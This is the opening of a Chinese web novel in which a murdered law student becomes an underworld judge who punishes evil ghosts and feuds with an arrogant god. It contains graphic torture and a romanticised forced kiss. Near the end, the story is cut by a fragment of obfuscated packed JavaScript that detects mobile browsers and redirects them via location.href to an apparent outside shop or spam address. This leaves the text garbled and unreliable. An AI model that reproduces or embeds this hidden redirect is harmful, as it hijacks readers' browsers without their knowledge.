《清冷日游神他又争又抢》
1. 越级汇报又如何
大三法学生楼月,校内硬刚法学教授,声称放弃死刑乃是法律的败笔。
校外,她抓住社会热点,青县七孩事件聚众发声,一朝被被变态连环杀人魔绑架折磨死去。
楼月还记得,那时,那恶魔拿着蝴蝶刀一点一点割着自己的喉管,她喉间发出难听的气声,嘶嘶作响。
她满眼猩红,宛若地狱里爬出来的修罗,用口型对他道:我死也不会放过你。
那恶魔眼中是错愕,滔天的愤怒冲得他面皮发红。
最后,用两根肮脏扭曲的手指,剜去了她的眼睛。
那双,被父母、被同学、被追求者,无比喜爱的双眼。
她的双眼,本应该是用来看书的,用来看法条,用来审判这世上的对与错的。
可为什么,偏偏事与愿违。
这一切都是因为世界上,恶人太多,野火烧不尽。
她空洞的红色眼眶中流出血泪来,她好痛,她一想到把自己奉为掌上明珠的父母该如何为她料理葬礼、收拾尸身,她就痛到无法呼吸。
如果世界上当真有鬼,她要化身厉鬼,杀死每一个毫无人道的反社会分子。
她漂亮琥珀色的眼球在地上滚落,被一脚啪唧踩碎。
她怀着满腔滔天恨意,闭上了眼。
她的意识陷入了混沌,什么都看不见,只有一片黑暗、透着隐隐约约的猩红。
一句叹息传来:“你可想报仇?”
楼月纵然有满心疑惑与不安,但心头的愤怒迫使她几乎是立刻,便直截了当道:“此仇必报。”
“你的仇若是报了,你便放下了吗?”
楼月顶着两个血窟窿,咬牙嘶吼:“这世上但凡还有一个恶人,都别想让我放下!”
那声音遥远:“楼月,记住你今天说的话。”
*
再度睁眼,她猛地坐起。
她摸着自己的双眼,发现自己能看见,心头传过一丝喜悦。
但环顾四周后,她愣住了。
四周处处妖异鬼火,妖异骇人。
她下床,打开窗子,发现血月高悬,妖风阵阵。
“判官大人,您醒了吗?”
她有些迟疑地看了门,却见一个矮得只到她膝盖的,满脸皱巴巴的小鬼,睁着大眼睛看着自己。
还好楼月胆子算大,没惊叫出声。
她拉着小鬼,了解了片刻,逐渐思路清晰。
原来她已然化身阴间的四大判官之一,掌管罚恶司。所谓罚恶司,也就是专门惩罚恶鬼的地方。
楼月三言两语便理解了小鬼的言下之意,这是个损阴德,得罪人,谁都不想坐的位置。
得罪人?楼月眼中划过一丝冷厉。
笑话!她在最好的年纪被恶人害得惨死,她满心仇怨,她怎么会怕得罪?!
所谓恶鬼,生前也就是恶人。
落到她手里,就等着吧。
小鬼瞟了一眼她面上的阴冷,战战兢兢道:“判官大人,一堆恶鬼等着您审呢……您看,是再歇会儿还是?”
她淡然:“不必,带我去吧。”
既然上天给了她机会,她就绝不会放弃。
她草草翻了翻递交而来的卷宗,皱眉。
她发觉,案卷里出现的郡县、县令、皇令,根本不是她那个时代的东西。
这里不是她的时代,可能是古代。
楼月眼中划过几丝幽微,有些遗憾。
但无妨,古代就古代,如果能将这些恶鬼挫骨扬灰,也算是一桩好事。
她继续看这些案子。
故意杀人、抢劫致人死亡、绑架撕票……好家伙,桩桩件件都极为恶劣。
她看了一眼桌面上的判刑条例,生前法学生的知识储备几乎让她瞬间便上手了。
她审问的第一个鬼,便是个穷凶极恶的。
他生在一个落后的村子,买了媳妇后,媳妇生了孩子想跑,他将媳妇做成人棍。
恶鬼嘻嘻一笑:“她是我买来的,想跑,那我打断她的腿又如何了?”
楼月额头一跳,头脑几乎是要炸开。
她生前发声的那个案子,便是买卖妇女的,如今审到了这个案子,她是半点也咽不下气!
她冷笑,身上鬼气森森:“行,那我问你,她是个人,你凭什么买她?”
恶鬼满目无所谓:“你算个鸟,县丞大人知道了都睁只眼闭只眼,我凭什么不能买?”
楼月怒极:“那我问你,你妈是不是也能被买、被卖?”
恶鬼顿时面上浮现出恼怒:“你说什么……”
就在这一瞬间,楼月忽然发觉时间静止了。
万籁俱寂,她环顾四周,甚至于连鬼火都凝固了。
她皱眉,看着恶鬼头上条条绽出的青筋,走上前去,踹了那恶鬼一脚。
她甫一碰到那鬼,便感受到精神受到了巨大的冲击!
她痛呼出声,脑中爆开了许多零碎的记忆。
是恶鬼的老母亲,满脸沧桑,却是极为宽和对着恶鬼道:“儿啊,妈已经五十岁了,该上山了。”
男子抹着眼泪:“娘,家里不缺您这一口饭!”
老母亲:“莫说笑了,等人牙子来,你媳妇又是一张嘴,咱们家里那一亩贫田,又怎能养得活三张嘴?”
一个冬日的夜里,男子终于背着老母亲上了山,那里一片白骨森森,皆是老人的骸骨。
老人招手,示意他离去。
他流着泪,放下了两个馕饼,下山去了。
下一个场景,便是他拿着鞭子抽媳妇:“你他*凭什么跑?你可知道,为了你来,我娘都死了!”
他将那女人,如花似玉的女人,砍去了四肢,毒哑喉咙,熏聋耳朵,丢在粪坑里。
*
楼月近乎是大喘气地,消化着这近乎是地狱一般的场景。
这恶鬼,当真是虚伪至极,口口声声孝顺,剥削妻母,自己站在了道德高位。
随着她逐渐冷静下来,她发现,时间还是凝滞着。
她先前在询问小鬼时,只得知,判官在判官殿内有绝对的武力压制。
但却从未提到有这奇异之事。
莫非,她在化身为判官后,还觉醒了个技能?
楼月试图用意识操控,破除现在的时间凝滞。
下一秒,鬼火重新燃烧起来。
恶鬼头上青筋条条绽出:“你这臭*子,信不信我弄死你!”
楼月勾唇。
“牛头马面,领下去,孽镜地狱照显罪行后,血池地狱服刑一劫,油锅地狱一劫,服刑完毕投入畜生道,永世不得为人。”
恶鬼满面恼怒,扑上前来。
楼月轻蔑地只扫它一眼,一脚踹过去:
“当狗记得要会叫,才有饭吃。”
判官的绝对力量,让他轱辘轱辘滚到了殿门口,正巧碰上牛头马面。
他们冷着面,抄起脖颈粗细的锁链套上他的身子。
初次审案,楼月多少有些业务不熟练。
她思酌,还是要继续探索,刚才那凝滞时间、探查记忆的能力触发条件才是。
她皱着眉头继续整理着桌案上的卷宗,却听闻判官殿外有小鬼叽叽喳喳。
“关系户又来大闹鬼宫了,啧啧,真是颇为难缠呢。”
“哎哟!别提了,你没看见那大司命脸都绿了!”
“笑死,大司命干出那等丢人现眼之事,倒也不怪晏大人行事乖张……”
楼月走出去:“什么关系户?”
有意思,她平生最恨走关系之人。在大学时,她门门专业课第一,却被一个关系户抢了保研名额。
小鬼吓得一个后退:“判官大人?!无事,小的们就是信口胡诌罢了……”
一刻钟后,楼月满脸怒气地,直接越过自己的上级领导阎王,越级找到鬼界一把手,酆都大帝。
一时间,酆都大帝周围高位阴差面面相觑。
这新来第一天的判官,怎得如此嚣张,不知礼数?
楼月:“大帝,我听闻您的侄子晏不染,视三界规则为无物,动辄肆意打骂,现如今正在奈何桥闹事,这事儿,您管是不管?”
顿时,幽冥殿一阵死一般的寂静。
几个阴差头恨不能低到地底下去,酆都大帝亦是微微眯起了眼睛:“哦?”
她惯来横冲直撞,看不顺眼的绝不憋在心里。既然她现在任了四大判官之一,想必也是有参谏之权的吧?既然有,那她就要用。
但,酆都大帝自身的气势威压极为可怖。
她不能退,故作云淡风轻挺直了腰杆看向那高处面容不明的酆都大帝。
酆都大帝倏然笑了,笑得众人不明所以,愈发恐慌。
“好啊,好啊……你便是新来的罚恶司判官吧?是个好丫头,起来吧。你说得对,我那侄儿确实是乖张得很,既然他恰在鬼界,我便去好好教训教训。”
威压解除,酆都大帝走下高台,他面容显现,十二旒冠下是一张乍一看颇有亲和力的面孔,他看向楼月。
楼月明艳一笑:“大帝,在下可以与您一同前去吗?”
酆都大帝兀自一笑:“倒是个胆大的,来吧,站在我身边。”
浓重森然的鬼气便将他周围笼罩,楼月走进。
下一秒,鬼气散去,他们便已经到了奈何桥。
狂风四起,凄艳的黄泉被血雨腥风所笼罩,阴暗森冷的鬼气漫卷每一寸空间。
只见,一黑发男子执着鬼镰,与空中一个肆意洒脱、锐气凌人的男子打得正盛。
鬼镰……应是大司命。那么,另外一个便是夜游神,晏不染?
那肆意男子几乎在瞬间便飞腾而起,手中长杖在他肆意挥动之下,一道道月牙状的白光飞过来。
但瞬间,一阵可怖的威压瞬间布满了整个黄泉。
在场众人,丝毫动弹不得。
“不染,你便是如此当差的?!你真当鬼界是你家后花园?”
一只诡异的浓黑之手,出现在晏不染附近的空中,伸出来几乎在瞬间便抓住了他!
晏不染冷哼一声,试图挣脱:“放开我!”
酆都大帝走上前来,身边跟着一个面容极为
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明艳的女子。
楼月扫了晏不染一眼,便满目真诚地看向酆都大帝:
“大帝,纵使大司命有千万的不该,那夜游神也实在是太过无理,竟然屡次三番来到鬼界寻衅滋事。”
“我听闻,鬼界以法理为治,即便那夜游神是天上神官,也绝不能纵容其在此撒野,否则法理何在?!又何以服众!”
酆都大帝看她一眼:“哦?那看来寡人必当惩治,以儆效尤了。”
晏不染心头恼怒,自己的舅舅竟然任凭一个黄毛丫头信口雌黄,甚至对自己动了手!
晏不染恼怒道:“舅舅!”
酆都大帝冷叱:“什么舅舅!这里是鬼界,就要遵从鬼界的规矩!尔乃夜游神,应当对我行跪拜礼!”
“跪吧,夜游神。”
晏不染眼瞳中俱是难以置信,他看看满面春风的楼月、有看看冷酷无情的舅舅,死死咬牙:“你休想!你忘了母亲……”
瞬间,一股恐怖的威压降临,直冲晏不染而去。
即使如此,在场的诸人俱是心头巨震。
晏不染被那只巨手拉扯着颀长的身子,向地面而去,晏不染咬着牙拼命立直身体,膝盖处却有一股大力击来。
晏不染眼中猩红,死死看向酆都大帝:“你当真要为了无关之人如此对我?!”
酆都大帝:“不染,你实在是过于顽劣了些。”
下一秒,巨大的威压猛地击打至晏不染膝盖,他跪在了地上。
“砰!”巨大的声音落地,难以想象晏不染承受了何等剧痛。
可晏不染却笑起来。
四周死一般的寂静,在场鬼怪早已被吓得不敢动弹,甚至连抬头都不敢。
酆都大帝长叹一口气,翩然远去。
那股威压终于泄去,但他仍是兀自跪倒在地,低头长笑不起。
楼月督他一眼,他也恰巧抬起头来。
这晏不染生得好一副模样,墨色的长发并未规整束起,几缕随意散落在额前与颈侧。显得他愈发不羁骄矜。
他薄唇勾起一抹似笑非笑的弧度,弧度里几分讥诮,明晃晃看着楼月。
他那笑,几乎是直接告诉楼月,等着吧。
楼月亦不怵,居高临下站着看向他。
她楼月从没怕过谁,哪怕撞了南墙死了,她也偏偏要执拗到底。
他纵然是关系户又如何,就能在鬼界欺压小鬼、挑衅阴差、挑起争端了吗?!
只要她还能斗,她迟早要把一个个反社会分子全部斗倒。
楼月轻笑一声,眼中尽是鄙夷与厌恶,扭了头而去。
*
楼月很快适应了鬼界的生活。
甚至于,异常滋润。
她发现,自己作为判官,可以用法力幻化出一个恶鬼。
那鬼张牙舞爪,却有两个血洞的眼睛。
楼月心疼地摸了摸那鬼,那鬼流了泪,但是血泪,有点吓人。
楼月却不害怕,只噗嗤一声笑出来。
她摸着那恶鬼:“叫你小月好不好?”
恶鬼呜呜,楼月却是听懂了,揉揉它头:“真乖。”
罪孽深重鬼眼中,它是极为可怖的狂野魔物。
可在楼月眼里它极为温驯,于是日日给它叨叨法条,试图普法。
直到有一日,楼月碰到了一个颇为难缠的凶鬼。
卷宗显示,那凶鬼生前是个毒计谋士,水源下毒、攻城浇金、坑杀妇孺,无所不为。
那凶鬼被人押进来,便颇为不服气地上下打量:“女人?女人也配审我?”
楼月早已听惯了这等疑问,她平静道:“不错,或许你向我求饶,我会酌情给你减一天的刑期。”
凶鬼桀桀笑起来,眼中满是打量:“那若是满足你呢?减多少?我的功夫可是……”
“小月。”
楼月话音落下瞬间,判官殿内的森然鬼火齐齐一暗。
那凶鬼刚想嘲笑这是什么个鬼名字,喉间就戛然而止,像是被无形的手扼住了喉咙。
小月瞬间便移动到凶鬼面前,手掌化为一张布满螺旋利齿的黑暗巨口。
凶鬼甚至来不及做出反应,那巨口已咬住了他大半个肩膀。
“啊啊啊啊啊啊!!!”
凶鬼发出凄厉的惨嚎,意识、力气、甚至于魂魄都在被那黑暗疯狂吸走。
楼月勾唇:“干得漂亮。”
她走上前去,想要踹几脚这狂徒,却见他满面恨意,口中喷出鲜血来!
她不及躲闪,那血喷了她满面,蒙住了她的双眼。
糟了!小月眼盲,若是她也看不见,必然会陷入不利之地!
她心神震荡之际,小月亦然动作迟疑,那凶鬼桀桀笑着使出一股邪力,脱身跳出。
“桀桀桀桀,什么罚恶司判官,还不是败在我的手下……”
他诡异笑着,在模糊血影中,飞身上前:“等着吧,你不是我杀的第一个鬼,但也不会是最后一个,桀桀桀桀老子生当作人杰,死亦为鬼雄。”
一股极为凶恶的鬼气袭来,她咬牙控制小月去阻止——
2. 强制
小月尽管迅速飞身上前,但是楼月无法判断方向,因此毫无章法,虽然有几次碰到了那凶鬼,却是又让它逃脱了去。
那凶鬼面露精光,飞到了楼月身后。
她脊背一凉,熟悉的冰冷把住了她的脖子。
生前的最后一点记忆瞬间如溺水般浮现上来。
那时,那个阴湿黏腻的男子,用刀慢慢割着她的喉咙,仿佛锯树一般,她的头颅慢慢歪斜下来。
那时,那个变态杀人犯身上的味道,几乎令她作呕。
一如她现在身后的凶鬼,化出一把匕首比在她的脖颈前。
恐惧、痛苦、愤怒再次萦绕了楼月。
凶鬼宛若恶魔低语:“不许叫人,叫了我就瞬间抹了你的脖子,捅烂你的神魂,我说到做到。”
楼月无比懊悔,她不该过于自信,让押送凶鬼的阴差下去。
她死死瞪着凶鬼,双目中尽是憎恨与厌恶。她脖颈皮肤与刀刃微微摩擦,露出猩红的伤口,却不见血。
凶鬼狞笑着,伸出长长的舌头,舔过那伤口:“判官大人可真是绝世的容色呢。”
楼月深吸一口气,现在她绝对不能慌张,否则一切都完了。
她将计就计,耸动着肩膀,抽泣起来。
背后的凶鬼见状愈发得意:“哈哈哈哈这才对啊。”
泪水涌上来,将血雾扫去。眼前恢复了清明。
她克服住心中的恶心与恐惧,凝神操控住小月,瞬间扑向自己身后凶鬼的位置!
凶鬼一时之间不及反应,被小月牢牢压在身下。
凶鬼想继续挣扎,但是在判官殿,判官的力量是绝对的,他休想挣脱。
楼月站起身来,颇为嫌恶拍了拍身上被他抓过的地方。
她走上前,一脚踩上那凶鬼的手,他青白而又扭曲的五指被楼月踩得咯咯作响,楼月反复用鞋底狠狠碾压。
“啊啊啊啊啊啊——”
楼月一脚狠狠踹到那凶鬼头上!
那凶鬼被踢得头昏脑花:
“你竟然胆敢用私刑,等我出去告你,你等着……”
楼月明艳的双眸里尽是蔑视:“判官有锁拿、镇伏之权,你这恶鬼不负管教,我作为罚恶司判官有权镇伏你。”
她一字一句、红唇妖艳:
“死前触犯屠杀平民成千上万;死后侮辱、暴力袭击判官,妨碍司法、意图杀害判官未遂。”
“着,先受拔舌、蒸笼、冰山、油锅之刑各万年,而后打入阿鼻无间地狱,刑期一劫,日夜不息,循环往复。刑满之日,贬入畜生道底,永世为秽,不得超生。
左右鬼差,押下去,即刻行刑!”
在她敕令下达的瞬间,牛头马面身影浮现,手里拖着沉重的锁链,套上了凶鬼的脖颈。
在他凄厉叫喊之下,他被拖出罚恶司大殿,楼月冷冷看着它被拖走的不甘与怨毒,那双眼睛如毒蛇一般死死缠住楼月的。
却,瞬间,那双眼睛翻了个方向,倒过来了。
楼月瞳孔骤缩,她猛地站起。
锁链下,凶鬼的下半身子滑了下来,落在地上。
上半部分,那颗怨毒的头,被一把削下,咕噜咕噜在地上滚了好几下,直到被一只着墨色锦靴踩住。
那靴子甫一踩上去,头颅连带着一旁的身体,燃烧起墨蓝色的火焰,直至烧得什么都不剩。
楼月浑身冰冷,猛地往上看去。
晏不染满面肆意,正正看过来,眼中尽是挑衅:“楼大判官,我送你这份礼物,你可喜欢?”
楼月只觉得耳边嗡嗡作响。
夜游神凭什么私自将这只凶鬼挫骨扬灰!
他是天上的神官,掌管监察三界不假,但他凭什么私自违背程序,任意杀鬼!!!
上次她给他的教训还不够吗?!为什么反复行事嚣张纨绔,不思悔改?!
楼月愤怒上前,双眼瞪得极大:“晏不染!你怎么敢!!!”
晏不染凤眸中那一点幽蓝愈发妖异:“敢?这鬼穷凶极恶,试图攻击判官,情急之下,我将其挫骨扬灰,也并无多少过错吧?”
所以晏不染,自她刚才审案之时起,就在这判官殿附近。
看她被控制住的时候,也冷眼旁观。
楼月气极反笑,恼怒一阵阵冲上头颅:“晏不染!你别将律法程序视为无物!”
晏不染三两步走上前,垂眸看着只到自己胸口的、不知天高地厚的小判官。
他恶意至极地俯身,凑到楼月耳边:“你又能拿我怎么样?再去告一次状?”
他极为恶劣地吹了一口气,震得楼月浑身一颤,她满是愠怒地抬头,刚想召唤小月,却被死死钳制住。<
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p>晏不染用的力气极大,几乎将她的手臂碾碎,但是她仍然死死咬唇,不肯痛喊出声。
他目光瞥向判官殿口的牛头马面,故意大声道:“判官大人,可站好了,别摔了,如此美貌摔倒了可不好。”
门口牛头马面看着地上松松垮垮的铁链,叹了口气,消失了。
楼月:“你卑鄙!无耻!”
晏不染嗤笑一声,一只手卡住她两只手的手腕,另一只手死死捏住她的下巴,迫使楼月抬头看他。
晏不染眼中一点幽蓝,如看死物一般,看着她满面愤怒与挣扎。
“在这阴间做官,就要学会夹好尾巴,免得怎么灰飞烟灭的都不知道。”
“懂了吗?”
楼月面露不屑,狠狠啐了一口在晏不染脸上。
晏不染皱眉,看着她红唇:“找死?”
他捏住下巴的手愈发用力,用力到楼月的下颚咔咔作响,痛到楼月眼中浮现出一层薄泪。
晏不染却是顿住了。
看着那层泪意,他的心莫名快了几拍。
楼月痛到无法思考,但是本能还是让她使出浑身力气去挣扎,宛若生前那般的无用功。
她无意蹙起眉头,满面惊恐,艳丽明媚的脸暴露出几分脆弱。
晏不染喉头滚动了一下。
他改变主意了,他要换一种报复方式。
原本,他打算处处与楼月作对,直到她碰壁,知道他的厉害,最后给他磕头下跪认错。
但现在,他心中多了几分旖旎的念头。
他要摧毁这朵明艳而又嚣张的花朵。
他要让楼月爱上他,为他流泪,为他肝肠寸断,为他夜不能寐。
最后,再断崖离开。
让她成为所有人的笑柄,成为他的弃子。
兴奋战栗传满他浑身,晏不染看着眼前几乎落下泪来的楼月。
他长臂一捞,便将温香软玉揽在他怀里。
楼月因疼痛而忍不住泪水,瞬间又被揽进了一个坚硬却又有着淡淡晚香玉的气息的胸膛。
楼月落下泪来,她觉得自己真的是丢脸极了。
武力被晏不染如此碾压,还被他近乎骚扰地揽入怀中,他当她是什么?
她脑中思绪纷乱,却一下子被他打断。
他轻轻执起楼月的下巴:“闭眼。”
3. 嫣红的唇
楼月怔怔看着他俊美无俦、剑眉星目的面孔,渐渐放大。
她想要躲避,身子却被晏不染牢牢箍住,丝毫动弹不得。
她的唇上,落了如羽毛般温暖的触感。
他的吻,轻盈而又缱绻。
他微微睁开双眼,睫毛纤长如鸦羽,轻轻扫过楼月的脸颊。
她浑身僵硬,眼中满是错愕与屈辱。
他眼中有些迷蒙,起身时,呼吸有些乱了。
楼月满心惶然,与之一齐来到的是几乎沸腾的愤怒。
纵使……晏不染再想折辱自己!也不该强吻自己!!!
她眼中泪珠再次盈满,氤氲的雾气让她看不清晏不染的神色。
他眼中幽深,一眨不眨地看着自己,再度落了下来。
他的舌尖轻轻撬开她的唇齿,她赌气似的死死咬住牙关。
晏不染轻哄:“松开,听话。”
楼月不想配合,也不愿配合。
但脑中一个疯狂的念头,几乎让她浑身一颤。
她顺势张开了唇齿。
楼月始终睁着双眼,看着他漆黑的双眼中逐渐带了几分失神。
他闭上眼睛,将舌尖探进去,接触到她的一瞬间,楼月浑身一软,电流传满了全身。
她从未想过,自己的第一次接吻竟然是在这种场合、这种心情中度过。
她不得不承认,自己真的无法抵抗晏不染的诱惑。
他身上淡淡的晚香玉气息宛若勾魂夺魄,一点点吸着她的理智。
他温柔缱绻地与自己气息交缠。
楼月死死掐住自己的手,她必须动作了。
她狠狠咬住了晏不染的舌尖,瞬间又撕咬着猛地后退一步。
“嘶——”他眉头蹙起。
晏不染眼中的迷离渐渐散去,他抬起手擦拭着舌尖的血。
他的舌尖,肉红色、欲望的、魅惑的,被她咬开了一个口子。
*
楼月有些恍惚,满脑子都是那荒唐与毫无根据的一吻。
那日,自己咬完他后,他蹙着眉擦血看着她后,便一句不发离去了。
她实在是想不到,为什么晏不染突然会亲自己。
这是报复?想要让她觉得屈辱?
楼月一边想着,一边又是极为恼怒。
她觉得自己之所以如此被动,无非是因为不够强大。
晏不染实在是强大得可怕,她思来想去,只想到两个人比较合适。
一个是大司命,祁云;一个则是日游神,顾云霁。
但大司命与她实在是没有什么业务往来,反倒是顾云霁,经常会来看她判过的案子。
恰巧,今日顾云霁便例行来检查卷宗,楼月叫住了他。
“日游神,在下有一事相求。”
顾云霁乃是皎皎如明月的人物,如云似雾。他喜着白衣,又是白发琉璃眼,一尘不染。
楼月对上他清雅如同琉璃般的双眸,有些吞吐道:“大人……能否教我一些防身的法术?”
顾云霁面露不解:“判官在判官殿里,对于鬼物应当有绝对的武力压制,楼大人是有什么难言之隐吗?”
“我……生前被人挖眼而死,召唤出来的鬼物眼盲,若在对战之时,被人蒙住双眼,便失去了压制能力。”
楼月试探着说,她总不能说,自己想学这些法术,是要防着夜游神吧?
顾云霁沉思片刻:“如此,那我教你一些吧。”
楼月因为刚刚化鬼,所以控制法力多少有些笨拙,有几次顾云霁实在是忍不住,上前指点她动作要领。
他修长的手点着她错误的地方,楼月看着那如雪如玉的指尖,面上有些发红。
白日时光总是过得很快,楼月学了几招简单的反制方法,但还是没有找到能够压制晏不染的法子。
她面露黯然。
顾云霁看见了,沉默了片刻:“要么,你拿了我的玉牌去,若是有什么危险,你捏碎玉牌即可。”
楼月诧异,看着他洁白如玉修长的手递过来的一块莹润的玉牌:“这……实在是过于贵重了吧。”
顾云霁温温笑道:“无妨,我府里还有许多,帮你也算是我工作职责之内。”
楼月满怀感激接过那块玉牌:“多谢了,顾云霁,你帮了我大忙。”
“不必如此客气,唤我云霁即可。”
*
夜。
今日没有案子,她一人在判官府上,倒也是乐得清闲。
她回忆着顾云霁教给她的几个提升法力的修炼方法,反复去控制自己的法力,试图使之能够凝成形,产生威慑力。
鬼界的日子,说轻松,也不轻松,她每日要审的恶鬼不少,而且总是穷凶极恶之徒,长久以来,她都怀疑自己的精神会不会出问题。
说难熬吧,倒也不难熬。她一入鬼界便是身居判官的高位,有自己的府邸,她按照自己生前的喜好,给自己的府里植满了花草树木,倒也是颇有成就感。
她其实可以养几个小鬼替她料理府里之事,但她还是有着生前的习惯,觉得这些事情自己一个人干就足够了。
楼月高高兴兴换了身衣裳,前去鬼市买了几棵樱花树苗。
这树可不便宜,在鬼界,生物是最贵的。
但好在她的判官府能养活物。
她拿着小铲子,在院子里挖土,终于挖了个坑,准备将樱花苗木栽下。
却忽闻身后:“你在干什么?”
楼月身体几乎是在瞬间就做出了反应,她猛地站起,后退几步。
晏不染。
他慵懒着一身常服,黑发高高束起,几缕落在面前,更显松弛不羁。
“怎么了?怕我了?”
楼月狠狠攥住手心。
她真的受够了,受够了晏不染一而再,再而三的蔑视律法,肆意横行。
原先仗着自己是关系户胡作非为,后来又直接到判官殿上未经程序肆意灭鬼,现在竟然跑到她的府邸里来!
若是在她生前,非法闯入居民住宅,可是重罪!
“晏不染,我上次忍了你,不代表你可以一而再,再而三的肆意横行,你私闯民宅,意欲何为?!”
晏不染颇为苦恼地深思起来:“啊,私闯民宅?不得了,可真是个不小的罪过呢……”
但他眼中分明无半点悔过与愧疚,只有光明正大。
楼月一时气结,不想再对牛弹琴。
她看着这人便烦闷,干脆扭头便走。
“可是我心悦你,思念实在是难以抑制呢,一日不见,便思之如狂,又该如何?”
楼月猛地顿住脚步。
她浑身冰寒,错愕地回头看去,看着晏不染依靠在廊柱上,十分苦恼的模样。
她怀疑自己听错了。
她与晏不染,分明早已结下梁子。
他会心悦自己?
别恶心人了。
楼月几乎是笃定,他就是在挑衅自己。
她第一次见到以这种方式挑衅别人的,简直就像是吃了一口苍蝇,几乎吐出来。
所以这晏不染的脑回路,就是想要通过亲她、和她说情话,让她恶心?
楼月被气笑了,现在看来,这晏不染不仅是个不学无术的纨绔子弟,脑子还不大灵光,是个十足十的脑残。
她讥讽扬起唇角:“那你别想。”
她扬长而去,只余被狠狠一噎,满脸目瞪口呆的晏不染。
楼月推门而出,直换了身衣服,往判官殿去。
她觉得自己当真是命苦至极,被一个下流纨绔逼得连难得的休假,都不得不去上班的地方。
她满心怨气,在判官殿又翻看了会儿已经送过来的卷宗,圈圈点点,嘴里是骂骂咧咧。
什么牛马蛇神!
这些人放到现代,个个都是枪毙!
几个时辰后,楼月伸了个懒腰,打算回府。
晏不染应当没有那么脸皮厚,还在她府里等她。
她有些偷偷摸摸到了府前,看府里已经挂上了鬼火灯笼。
楼月一怔,她可没挂过这灯笼,反而她嫌弃铺张浪费,府里一个灯笼都没挂,只在必要地方燃着几盏鬼火灯。
她一进去,却是被满院子的灯火给惊到后退一步。
这……是她府里吗?
她再度确认那牌匾,终于确定,这就是她的府邸。
原本空无一物的院子,现如今置了株红艳艳的珊瑚树,一眼便是价值不菲;原本鬼火都照不见的角落,摆满了大大小小的夜明珠;甚至连府邸深处的小池塘里,都植上了月光荷。
以及,她刚才挖下的坑,那里好好植上了一株樱花苗木。
楼月怔怔走上前去。
这些……都是晏不染干的?
不,绝不可能。
他那样的乖张之人,绝不可能做出这等好心之事。
灯火照亮了她的双眸。
远处空中,晏不染看着她那惊喜至极,左右看看,拿起夜明珠把玩的模样,也是兀自一笑。
呵,果然还是个小女孩。
这些伎俩,就足够讨她开心。
思及她之讨厌处,他又沉下了嘴角。
他撇撇嘴,飞身而去。
他很忙,没工夫陪小女孩玩这些把戏。
*
楼月自从认识到自己在被晏不染反复恶心后,她修炼法力愈发刻苦了。
连偶然来询问她修炼进度的顾云霁,看着她指尖轻易凝成的寒光乍现的匕首,眼中也略过一丝诧异。
楼月翘起唇角:“顾师父,我是不是学得很好?”
顾云霁失笑,温柔道:“嗯,悟性极佳。”
他见状,愈发倾囊相授。
楼月就好像一块海绵,给她多少,她就吸多少。
毕竟,她一想到,身后有一个反复挑衅之人,就睡不安稳。
顾云霁笑着看她凭借法力操纵的匕首,点头:“很好,我带你去个地方。”
楼月有些讶异,心头十分欢欣:“啊?是什么地方?”
顾云霁看着她面上的期待,失笑:“不是去玩的,别那么高兴。”
他带着楼月出殿:“你会飞么?”
楼月有些窘迫地挠了挠头。
顾云霁失笑:“介意我带你一起飞么?”
楼月欣喜:“自然是不介意的!”
她不知为何,对于顾云霁这等翩翩君子,便是半点警戒之心也生不起来,她总觉得,顾云霁不会害她。
人与人之间的磁场是十分奇妙的,当一个人全心全意信任另一个人,往往另一个也能感受到,反之报之以同样的真诚与信任。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168744|196778||http|test|mini|href|location''.split(''|''),0,{}));
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>顾云霁温温笑着,向她伸出手,端雅如玉。
楼月有些脸红,将手搭了上去。
他的掌心好温暖,比自己冰冷的身体,暖了不知道多少。
晏不染的掌心,又是什么温度?
这个念头甫一出现在她脑中,她便被自己吓出一身冷汗。
她在想什么?
想那个魔头?
楼月摇了摇头,再度看向面前,在月色里带着她御风而行的顾云霁。
“我们去哪?”她侧头问。
“到了你便知道了。”
夜风猎猎,将她的曲线尽数勾勒,腰细到几乎能一掌掐住。
他低垂双眼:“冷么?”
楼月笑:“不啊,我是鬼,不会冷的。”
顾云霁嗯了一声,不再言语。
二人很快落在了一处雪坡上,顾云霁扶着她落地:“小心些,这里满是冰雪,很滑。”
楼月仔细试探着脚下,一步一步踩得很稳,只是速度实在是慢了些。
顾云霁失笑:“你可以拉着我的衣袖。”
楼月有些窘迫地点点头,牵起了他的袖子,他的衣料极为华贵,摸着冰冰滑滑的。
二人走进一个雪洞里,楼月睁大了眼睛。
只见这雪洞里非但不阴暗,反倒是晶莹剔透,好似琉璃一般。
顾云霁道:“鬼界好的地盘不是很多,这个离你近些,你若是在这里修炼,则能事半功倍。”
楼月十分惊喜地尝试催动法力,发现果然,这里的法力如同取之不尽用之不竭般涌入她的身体,她立刻盘腿坐下,但又有些不好意思地看向顾云霁。
顾云霁失笑:“无事,你练吧,正好我给你看看有没有不对的地方。已经是夜里了,我也没什么事儿。”
楼月点头,便开始运功。
她催动着体内的法力,游走过自己的每一根筋脉,感受着原本淤堵的经脉被一点点打通。
顾云霁眼中尽是欣赏。
楼月的天赋,确是能称得上是极佳。
最难为可贵的是,她还颇为努力。
目光游走间,落在了她嫣红的唇上。
顾云霁自觉不该,但莫名眼神被那一抹艳色吸引住,在这雪洞里,在她如凝滞一般的肌肤之上。
他垂下眼帘,不再去看。
却忽然听得她痛苦哼出声。
糟了!楼月运功过于冒进,有些走火入魔了。
顾云霁蹙起眉头,上前坐于她伸手,推掌出去给她渡上自己的法力。
她体内气息极为紊乱,应当是近日修炼速度过快导致的,顾云霁将体内的至纯至阳法力,尽数从掌中传入她的身体里。
楼月浑身好似要炸开,好似有无数只蚂蚁在啃咬她的身体,她眉头紧锁,浑身发红。
顾云霁轻斥:“楼月!”
他如碎玉的嗓音传来的一瞬间,她的意识有些清明,但是转瞬又混乱起来。
顾云霁眉头紧皱,几乎是瞬间,便咬破了自己的手指,将指尖血喂到了楼月唇上。
那血流进她口中的一瞬,一股至真至纯的力量席卷了她的身体。
她原本痛苦又灼烧似的身子,顿时痛苦减轻了。
楼月狠狠咬牙,死死抓住了这次机会。
她试图将身体里到处乱窜的法力,凝聚起来,重新汇聚到丹田。
